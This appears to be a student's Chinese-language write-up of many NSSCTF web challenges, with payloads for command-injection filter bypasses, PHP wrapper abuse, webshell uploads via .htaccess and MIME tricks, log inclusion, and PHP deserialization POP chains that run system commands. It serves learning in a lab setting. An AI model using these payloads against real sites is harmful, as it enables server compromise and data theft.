NSSCTF

paEasy_rce

image-20260118113505689

image-20260118113822132

用system函数,用ls命令查看目录

image-20260118114008479

用ls /查看index.php下的根目录

image-20260118114015396

用cat命令查看文件

补充:可以用passthru函数,可以直接回显

用exec,shell_exec函数,需套一个echo或者printf或者print_r或者var_dump

如果命令禁用,则写文件,将需要查看到的写入文件,用cat查看文件

image-20260118114024516

写文件:?参数名=exec(‘cat /文件名 > 新的文件名’);

如果浏览器可以写文件则可直接查看新的文件

image-20260118114030901

[SWPUCTF 2021 新生赛]easy_md5

image-20260118114038867

看到php代码,知道需要get和post传参,get的参数名为name,post参数名为password,如果name的参数值不等于password的参数值并且md5弱比较两者的md5值需相等

image-20260118114055823

以0e绕过md5检验得到flag

[SWPUCTF 2021 新生赛]PseudoProtocols

image-20260118114110999

提示查找hint.php,运用php://filter伪协议绕过,构造payload:php://filter/read=convert.base64-encode/resource=hint.php

image-20260118114117629

得到一串base64编码的密文,解码得到

image-20260118114125256

更改url查看

image-20260118114207817

分析源码第4行是文件包含,flag包含在flag.php文件中,第5行是get传参,参数名为a,第6行参数值为I want flag,file_get_contents()函数是用来读文件的,用于读取a文件内容,判断是不是那句话,然后问了学长说根据经验判断出是伪协议,最后一步就用data伪协议,将I want flag进行base64编码,构造payload:?a=data://text/plain;base64,SSB3YW50IGZsYWc=,得到flag(最后一步构造是ai给的,还在学伪协议)

或者也可以bp抓包,用input伪协议,修改请求方式为POST之后直接发送请求体

babyrce (Cookie注入 空格绕过)

image-20260118114158675

分析源码是一个cookie验证admin=1,得到文件名

image-20260118114217108

分析代码,第6行get参数为url,赋值给$ip,第7行检测ip值中是否含有空格,若有则显示nonono,所以需要绕过空格,第9行shell_exec函数是执行命令的函数,所以可以在参数名后直接输入命令(之前遇到的eval函数是用来执行代码的所以要加system或者其他执行命令的函数),用$IFS绕过空格(不能用%20绕过,%20是URL编码)

image-20260118114224079

空格绕过,执行查看根目录的命令

image-20260118114230198

查看flag文件

[LitCTF 2023]PHP是世界上最好的语言!

php代码和linux命令

image-20260118114235935

image-20260118114242092

image-20260118114248337

image-20260118114255141

[LitCTF 2023]Ping

image-20260118114301762

F12打开插件hackbar,输入的值ping之后发送,在POST中得到参数值

image-20260118114314442

image-20260118114324256

image-20260118114331750

image-20260118114339452

在POST命令后用&&或者|或者;链接符执行linuxs命令,查看flag

[SWPUCTF 2021 新生赛]jicao

image-20260118114346418

考点:json格式

分析代码POST参数名为id,参数值为wllmNB,GET参数名为json,json_decode()函数是将括号中的内容进行json解码,所以要把json参数值进行json格式编码

json格式:由键值对组成{“键”:”值”}

这道题中键为x,值为wllm

[GXYCTF 2019]Ping Ping Ping

image-20260118114353960

payload:?ip=127.0.0.1;b=lag;a=f;cat$IFS$9$a$b.php

flag,通配符,空格都被ban了,内联执行绕过,

[SWPUCTF 2021 新生赛]hardrce

image-20260118114400657

image-20260118114406099

无字母rce,就是一个简单的对命令取反

[SWPUCTF 2021 新生赛]finalrce

image-20260118114413770

image-20260118114419413

image-20260118114424130

分析源码很多命令都被ban掉了,用tee命令写文件,|管道分隔符,ls,la都被ban了就用\绕过

还可以用bp但不用抓包

image-20260118114436149

img

然后粘贴到网页,需加上curl(这是发送命令的请求),还需加上http://

image-20260118114442630

后面用反引号``写入命令,因为ls都被ban掉了,用\绕过

image-20260118114448451

每执行完一次命令后点击立即轮询查看http类型文件

image-20260118114454900

image-20260118114502269

image-20260118114509462

[鹏城杯 2022]简单包含(文件包含脏数据)

image-20260118114515338

文件包含在flag.php,根目录是/var/www/html,但存在waf,因为当前代码看不出来ban了什么,学长说这不是完整的代码,要看完整代码

/var/www/html是网站根目录

image-20260118114520746

用filter伪协议查看index.php看到源码

image-20260118114527729

if (strlen(file_get_contents(‘php://input’)) < 800 && preg_match(‘/flag/‘, $path))

同时满足POST 请求原始数据长度<800并且不包含flag就会回显nssctf waf

image-20260118114538576

得到flag的base64编码

image-20260118114545430

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

image-20260118114555541

if ( substr($_GET["file"], 0, 3) === "php" ),改代码是看传入的内容前三个字母是否是php,用filter伪协议,base64解码

image-20260118114602363

[鹤城杯 2021]EasyP(正则绕过)

image-20260118114612932

这道题实在看不懂就看了wphttps://blog.csdn.net/qq_51295677/article/details/124237892

$_SERVER[…] :是一个包含了头信息,路径以及脚本位置等信息的数组, 根据中括号内传入的参数不同,返回不同的信息

basename():返回路径中的文件名部分

PHP_SELF’:返回当前执行脚本的文件名

首先要绕过正则使show_source不为空,并且使basename()值为utils.php, 所以我们要想办法绕**/utils.php/*$/i** 以及**/show_source/**这个正则匹配

image-20260118114633514

只要在后面加个非ASCII码的东西就可以绕过

所以我们用%88或者只要是可以造成乱码的url编码就可以绕过**/utils.php/*$/i** 正则匹配

/show_source/用show[source或者show.source绕过

payload:/index.php/utils.php/%88?show[source=1

忘记名字了

image-20260118114720305

解法一(Hackbar)

image-20260118114725829

修改浏览器的User-Agent头,伪造WLLM浏览器访问

image-20260118114732121

伪造本地访问,添加XXF头,X-Forwarded-For:127.0.0.1,发送请求得到flag

解法2(bp)

image-20260118114738204

修改浏览器的User-Agent头,伪造WLLM浏览器访问

image-20260118114743257

image-20260118114749809

更改访问地址为/.a.php

image-20260118114757002

伪造本地访问,添加XXF头,X-Forwarded-For:127.0.0.1,发送请求得到flag

[HCTF 2018]Warmup

image-20260118114807049

一开始啥也没有,直接看源码

image-20260118114814044

看到了source.php这个文件,访问它

题目代码

image-20260118114820095

分析源码(代码审计)

1
2
3
4
5
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

class emmm:定义PHP类,类名时emmm

checkFile:静态公共方法(不懂)

static:静态方法不需要实例化类

&$page:方法的参数 &表示引用传递(而非值传递),意味着在方法内部修改$page的值时,外部原始变量的值也会同步改变

$whitelist:文件自定义的白名单

“source”=>”source.php”,”hint”=>”hint.php”:

source source.php
hint hint.php

值对于允许访问的实际PHP文件路径(即服务器上存在的合法文件)

1
2
3
4
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

第一个条件判断

isset($page):是否设置

is_string($page):内容是否为字符串类型

首先检查传入的$page参数是否为字符串类型, 如果不是或者未设置,将输出”you can’t see it”并返回false

1
2
3
if (in_array($page, $whitelist)) {
return true;
}

in_array($page, $whitelist):检查page中的内容是否存在定义的白名单$whitelist中

1
2
3
4
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')

mb_substr()函数:从字符串中提取子字符串

mb_strpos()函数:PHP中的一个内置函数,用于查找字符串在另一个字符串中首次出现的位置

mb_strpos($page . ‘?’, ‘?’):先用mb_strpo函数找到第一个?出现的位置, 然后使用mb_substr函数将问号之前的部分作为$_page进行处理

1
2
3
if (in_array($_page, $whitelist)) {
return true;
}

这是再次检查传入的$page是否直接存在白名单里

1
2
3
4
5
6
7
8
9
10
11
12
13
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

urldecode($page):将$page中的内容进行url编码,然后重复mb_strpos和mb_substr两个函数的处理(同片段4),如果$_page在白名单中存在,返回true

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

检查$_REQUEST[‘file’]中是否存在且为字符串类型,并调用emmm::checkFile方法进行检查

始终是在source.php页面下进行的传参操作,目的是利用include函数将flag文件包含出来

查看hint.php

image-20260118114907428

通过../返回上级目录直到根目录,当前目录一般是/var/www/html

image-20260118114913121

[SWPUCTF 2023 秋季新生赛]RCE-PLUS

image-20260118114920585

这是无回显和flag绕过

写文件

image-20260118114940876

有多种写文件和绕过方法

payload

?cmd=cat /fl?? > 1.txt

?cmd=nl /fl?? | tee 2.txt

?cmd=nl /fl?? | tee 3.txt)

?cmd=nl /f* | tee 4.txt)

?cmd=nl /* | tee 5.txt)

[LitCTF 2023]作业管理系统

image-20260118115210343

开头是登录界面,直接查看源码,得到用户名和密码都是admin

image-20260118115215549

上传1.php文件,文件内容是一句话木马

image-20260118115221241

看文件

蚁剑连接

image-20260118115228190

image-20260118115235648

根目录下看到flag

[SWPUCTF 2021 新生赛]easyupload2.0

image-20260118115245197

写一个一句话木马

查看环境变量

然后要让服务器把传的文件当做PHP文件解析才行,将文件后缀名改为php会被禁用,用phtml绕过

然后查看上传的文件,系统会执行文件中的代码查看环境变量发现里面就有flag

image-20260118115251499

[SWPUCTF 2021 新生赛]easyupload1.0

image-20260118115258936

上传后缀名为phtml的文件绕过检验,然后bp拦截抓包

image-20260118115304718

没反应,修改Content-Type的请求体改为image/jpeg,MIME绕过

image-20260118115312423

修改POST请求查看上传的文件,系统执行了上传的php代码就可以看到环境变量了

image-20260118115317229

[SWPUCTF 2021 新生赛]easyupload3.0

image-20260118115324512

上传.htaccess文件

<FilesMatch “a.jpg”>

SetHandler application/x-httpd-php

作用是将a.jpg文件相当于传入的php文件,就是会让PHP解释器去解析jpg文件,把它当作php文件

然后上传1.jpg文件,内容为一句话木马

image-20260118115354562

然后在网页看文件

image-20260118115415328

根据传入的木马用POST传参查看环境变量,因为这里用ls /命令查看根目录下文件找不到flag

[GXYCTF 2019]BabyUpload

image-20260118115432831

上传.htaccess文件

image-20260118115438862

因为把php过滤掉了所以要用其他标签过滤

在网站查看然后蚁剑链接

[HNCTF 2022 Week1]easy_upload

image-20260118115446743

上传一句话木马,bp拦截抓包

image-20260118115452267

在网站查看路径

image-20260118115459597

蚁剑链接

image-20260118115504654

[MoeCTF 2022]what are y0u uploading?

image-20260118115517990

上传一个jpg文件,内容是一句话木马,一开始上传了php文件被禁用了,进行bp抓包

image-20260118115523534

更改文件名为flag.php

image-20260118115529138

[HNCTF 2022 WEEK2]easy_include

image-20260118115539821

php,flag,data几乎都被ban掉了,猜测是日志文件漏洞

Nginx默认日志路径是/var/log/nginx/access.log

image-20260118115547069

image-20260118115606392

可以进行日志文件包含,在User-Agent中写入恶意命令,然后包含日志文件从而得到命令的回显

[UUCTF 2022 新生赛]ez_rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}

代码分析

主要看

1
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code))

很明显很多命令和函数都被ban掉了,我们需要绕过

绕过的方法想到引号..通配符还有编码这些,但*被ban了,最后的i表示数组被ban了,就只能用引号这些绕过

eval($code);将code值当作命令执行

当然首先要看的是传参类型很明显是GET

解题思路大概就是传参,命令绕过,然后将内容打印回显出来

image-20260118115616595

payload:?code=var_dump(l\s /);)

var_dump()函数用来打印,应该也可以用print_r,printf这些,因为system被ban了,就用``反引号绕过,反引号可以执行命令,因为ls也被ban了,就用\给它绕过

image-20260118115622183

payload:?code=var_dump(nl /fffffffffflagafag);

这一步就是绕过cat命令,有很多方式可以绕过,这里用nl代替cat,还可以像上面一样用\

或者payload:?code=var_dump(c\at /fffffffffflagafag);

但这道题感觉还能用无参尝试一下)

[第五空间 2021]WebFTP

image-20260118115759892

感觉是一道登录题,先看环境变量phpinfo.php

image-20260118115808177

能找到flag但应该是非预期

image-20260118115815617正常一开始就是bp抓包,弱口令爆破得到密码是admain888

image-20260118115822392

登录成功就是这个页面

然后就不会了看了wphttps://blog.csdn.net/hiahiachang/article/details/123118953里面也讲了预期和非预期

image-20260118115830678

到这一步就解不下去了,因为没下载到源码。。。)

[SWPUCTF 2021 新生赛]no_wakeup(__wakeup()方法绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __wakeup(){
$this->passwd = sha1($this->passwd);
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

代码审计

1
2
3
4
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

魔术方法__construct()创建对象时自动触发将$admin设为 “user”,$passwd设为 “123456”

1
2
3
4
5
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}

魔术块__destruct()对象销毁时自动触发

该代码判断如果$admin===”admin”,passwd=== “wllm”则输出flag,否则无法输出

1
2
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

正常序列化结果(属性数量为2)

1
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

篡改属性数量,绕过__wakeup()

将数量2改为大于2的数

1
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

payload

1
?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";};

image-20260118115943739

[ZJCTF 2019]NiZhuanSiWei(文件包含伪协议php反序列化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

if(isset($text)&&(file_get_contents($text,’r’)===”welcome to the zjctf”)

要求传入text文件,内容为welcome to the zjctf

利用两个伪协议得到base64编码

1
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

image-20260118120132002

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

在本地进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>


O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

构造payload

1
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20260118120207096

[SWPUCTF 2021 新生赛]pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m = ;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

代码审计

echo $flag;

flag在w44m类中,因此我们最终是要调用w44m类中的Get

flag方法,admin和password要求为w44m和08067

echo $this->w00m;

w22m类中的echo会触发w33m类中的__toString()魔术方法

对三个类进行分析

  • w44m类

若变量前是protected,则会在变量名前加上\x00*\x00

若是private,则会在变量名前加上\x00类名\x00,输出时一般需要url编码

  • w22m类

当类销毁时会输出$this->w00m

  • w33m类

当w33m类的对象被当作字符串使用时触发__toString()方法

解题思路

首先是从w22m类的魔术方法入手,然后是w33m,因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类,w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数,并且w44m类的admin和password变量为w44m和08067。

正确的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class w22m{
public $w00m;
public function __construct()
{
$this->w00m=new w33m();
}
}
//因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类

class w33m{
public $w00m;
public $w22m='Getflag';
public function __construct()
{
$this->w00m=new w44m();
}
}
//w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数

class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
//并且w44m类的admin和password变量为w44m和08067。

$j17 = new w22m();
echo urlencode(serialize($j17));
?>

运行结果:

1
O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

payload:

1
?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

[HUBUCTF 2022 新生赛]checkin(反序列化 弱比较)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";

}
?>

代码审计

1
2
3
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}

只有当’username’=username,’password’=password时才会显示flag

1
2
$username  = "this_is_secret"; 
$password = "this_is_not_known_to_you"

因为开头已经修改了两个值并且未知因此不是简单赋值

然后看到代码1中==是弱比较

image-20260118120344012

根据这个可以看出,true和非零非空字符串比较都为true

因此事实上只需要满足$data_unserialize[‘username’]==$true&&$data_unserialize[‘password’]==$true

即可回显flag

构造序列化exp

1
2
3
4
5
6
7
<?php
$info = array(
'username'=>true,
'password'=>true
);
echo serialize($info);
?>

运行结果为a:2:{s:8:”username”;b:1;s:8:”password”;b:1;}

构造payload

1
?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

[SWPUCTF 2022 新生赛]1z_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;

function __destruct()
{
$a = $this->lt;

$a($this->lly);
}


}
unserialize($_POST['nss']);
highlight_file(__FILE__);


?>

代码审计

1
$a = $this->lt;

将a调用到lt

1
$a($this->lly);

$a()这个格式表示把$a作为一个函数,其中的参数调用给lly

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class lyh{
public $url = 'NSSCTF.com';
public $lt='system';#$a调用lt,将函数赋给lt
public $lly='ls /';

}

$a = new lyh();
echo serialize($a);#序列化

?>

运行结果O:3:”lyh”:3:{s:3:”url”;s:10:”NSSCTF.com”;s:2:”lt”;s:6:”system”;s:3:”lly”;s:4:”ls /“;}

第一个payload

1
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}

第二步的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class lyh{
public $url = 'NSSCTF.com';
public $lt='system';
public $lly='cat /flag';

}

$a = new lyh();
echo serialize($a);

?>

运行结果O:3:”lyh”:3:{s:3:”url”;s:10:”NSSCTF.com”;s:2:”lt”;s:6:”system”;s:3:”lly”;s:9:”cat /flag”;}

第二个payload

1
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

[SWPUCTF 2022 新生赛]ez_ez_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}

代码审计

看到__wakeup()魔术方法应该是绕过

使属性值比原有的大

构造POP链

1
2
3
4
5
6
7
8
<?php
class X
{
public $x = __FILE__;
}
$a = new X();
$a->x = "fllllllag.php";
echo (serialize($a));

运行结果O:1:”X”:1:{s:1:”x”;s:13:”fllllllag.php”;}

绕过__wakeup()魔术方法

payload:

1
?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

[NISACTF 2022]babyserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
 <?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}

function __call($from,$val){
$this->fun=$val[0];
}

public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}

class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}

class Ilovetxw{
public $huang;
public $su;

public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}

public function __toString(){
$bb = $this->su;
return $bb();
}
}

class four{
public $a="TXW4EVER";
private $fun='abc';

public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}

if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}

//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}

//function hint(){
// echo ".......";
// die();
//}
?>

代码审计

1
2
3
4
5
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}

@eval($this->txw4ever)将txw4ever的内容当作php代码执行

__invoke()需触发这个魔术方法才能执行@eval函数

__invoke()触发时机是将内容作为函数调用,因此我们要找类似于函数的代码

1
return $bb();

这里可以找到$bb()是作为函数

1
2
3
4
public function __toString(){
$bb = $this->su;
return $bb();
}

$bb()将su的值给$bb并以函数形式执行

这串代码需要__toString()魔术方法

__toString()需要将属性作为字符串执行才可触发,即需要找echo或print或者if语句代码

1
2
3
4
5
6
7
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}

__set()魔术方法需给不存在的属性赋值才能触发

strtolower()函数:将字符串中的所有字母转换为小写形式

fun的值对应sixsixsix

令$a = new Ilovetxw(),strtolower()需要字符串因此可以触发__toString()魔术方法

1
2
3
4
public function __wakeup()
{
$this->ext->nisa($this->x);
}

令$ext = new Ilovetxw():$this->ext->nisa($this->x);这里调用了不存在方法nisa,触发了__call()方法

1
2
3
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}

__call方法给$this->huang->fun赋值为$arg[0](即TianXiWei的$x)

绕过

*绕过**NISA::__wakeup()hint*

只需确保NISA->fun不是”show_me_flag”,可设为任意值(如空字符串””)

*绕过***checkcheck()**函数

函数通过preg_match过滤危险字符,可使用PHP 变量名绕过或编码绕过

大概可以开始构造链子了

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}

function __call($from,$val){
$this->fun=$val[0];
}

public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}

class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}

class Ilovetxw{
public $huang;
public $su;

public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}

public function __toString(){
$bb = $this->su;
return $bb();
}
}

class four{
public $a="TXW4EVER";
private $fun='abc';

public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}

$n = new NISA();
$n->txw4ever = 'System("ls /");';
$n->fun = "sixsixsix";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));
?>

payload1

1
?ser=O%3A9%3A"TianXiWei"%3A2%3A{s%3A3%3A"ext"%3BO%3A8%3A"Ilovetxw"%3A2%3A{s%3A5%3A"huang"%3BO%3A4%3A"four"%3A2%3A{s%3A1%3A"a"%3BO%3A8%3A"Ilovetxw"%3A2%3A{s%3A5%3A"huang"%3BN%3Bs%3A2%3A"su"%3BO%3A4%3A"NISA"%3A2%3A{s%3A3%3A"fun"%3Bs%3A3%3A"666"%3Bs%3A8%3A"txw4ever"%3Bs%3A15%3A"System("ls+%2F")%3B"%3B}}s%3A9%3A"%00four%00fun"%3Bs%3A3%3A"abc"%3B}s%3A2%3A"su"%3BN%3B}s%3A1%3A"x"%3BN%3B}

img

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}

function __call($from,$val){
$this->fun=$val[0];
}

public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}

class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}

class Ilovetxw{
public $huang;
public $su;

public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}

public function __toString(){
$bb = $this->su;
return $bb();
}
}

class four{
public $a="TXW4EVER";
private $fun='abc';

public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}

$n = new NISA();
$n->txw4ever = 'System("cat /*");';
$n->fun = "sixsixsix";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));
?>

payload2

1
?ser=O%3A9%3A"TianXiWei"%3A2%3A{s%3A3%3A"ext"%3BO%3A8%3A"Ilovetxw"%3A2%3A{s%3A5%3A"huang"%3BO%3A4%3A"four"%3A2%3A{s%3A1%3A"a"%3BO%3A8%3A"Ilovetxw"%3A2%3A{s%3A5%3A"huang"%3BN%3Bs%3A2%3A"su"%3BO%3A4%3A"NISA"%3A2%3A{s%3A3%3A"fun"%3Bs%3A9%3A"sixsixsix"%3Bs%3A8%3A"txw4ever"%3Bs%3A17%3A"System("cat+%2F*")%3B"%3B}}s%3A9%3A"%00four%00fun"%3Bs%3A3%3A"abc"%3B}s%3A2%3A"su"%3BN%3B}s%3A1%3A"x"%3BN%3B}

image-20260118120612703

[ISCTF2025]b@by n0t1ce b0ard

image-20260118120620686

访问进去是一个注册页面在image中有一个文件上传,猜测是文件上传漏洞

上传一句话木马

image-20260118120627394

有一个MIME绕过

image-20260118120632958

根据文件夹中的已有头像得知上传的路径

payload

/images/1@qq.com/1.php

访问成功后蚁剑连接

image-20260118120639762

ISCTF{48d85a4c-2174-41cb-9213-76b5b8fceeea}

[LitCTF 2023]导弹迷踪

image-20260118120646088

玩游戏到第六关才有flag,(好奇玩了两把第一关都过不了

这种肯定先看源码,但是源码里面什么都没有

根据题目标签提示是js就看js文件,Level6就能看到flag

